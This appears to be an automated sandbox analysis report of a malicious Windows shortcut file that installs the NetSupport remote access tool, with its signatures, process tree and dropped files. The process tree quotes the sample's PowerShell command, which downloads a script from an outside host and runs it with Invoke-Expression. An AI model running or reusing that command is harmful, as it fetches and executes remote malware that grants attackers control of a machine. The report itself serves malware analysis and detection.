Analysis
- max time kernel
137s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
15/03/2024, 10:20
General
- Target RECH31683168.lnk
- Size 41KB
- Sample240315-mc32lagb68
- SHA256 7cde6cc214576bca2720effbddb7471ae2a3b8cff992ca9846599c0de0c3e484
Malware Config
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\RECH31683168.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command (Invoke-WebRequest -Uri 'https://tafrihafashion.com/boondle.txt' -UseBasicParsing).Content | Invoke-Expression2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Sch_Cache\client32.exe"C:\Users\Admin\AppData\Roaming\Sch_Cache\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4160 --field-trial-handle=3084,i,4016110471176367543,14287608422419064331,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_lwn0150p.u0f.ps1
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICAPI.dll
PCICL32.DLL
PCICL32.dll
client32.exe
client32.ini
pcichek.dll
memory/4244-15-0x0000019FA5450000-0x0000019FA5460000-memory.dmp
memory/4244-21-0x0000019FA5450000-0x0000019FA5460000-memory.dmp
memory/4244-63-0x0000019FA5450000-0x0000019FA5460000-memory.dmp
memory/4244-66-0x00007FF893590000-0x00007FF894051000-memory.dmp
memory/4244-20-0x0000019FA5450000-0x0000019FA5460000-memory.dmp
memory/4244-19-0x0000019FAFC30000-0x0000019FAFC3A000-memory.dmp
memory/4244-18-0x0000019FAFC40000-0x0000019FAFC52000-memory.dmp
memory/4244-17-0x00007FF893590000-0x00007FF894051000-memory.dmp
memory/4244-14-0x0000019FA5450000-0x0000019FA5460000-memory.dmp
memory/4244-13-0x0000019FA5450000-0x0000019FA5460000-memory.dmp
memory/4244-12-0x00007FF893590000-0x00007FF894051000-memory.dmp
memory/4244-11-0x0000019FA76E0000-0x0000019FA7702000-memory.dmp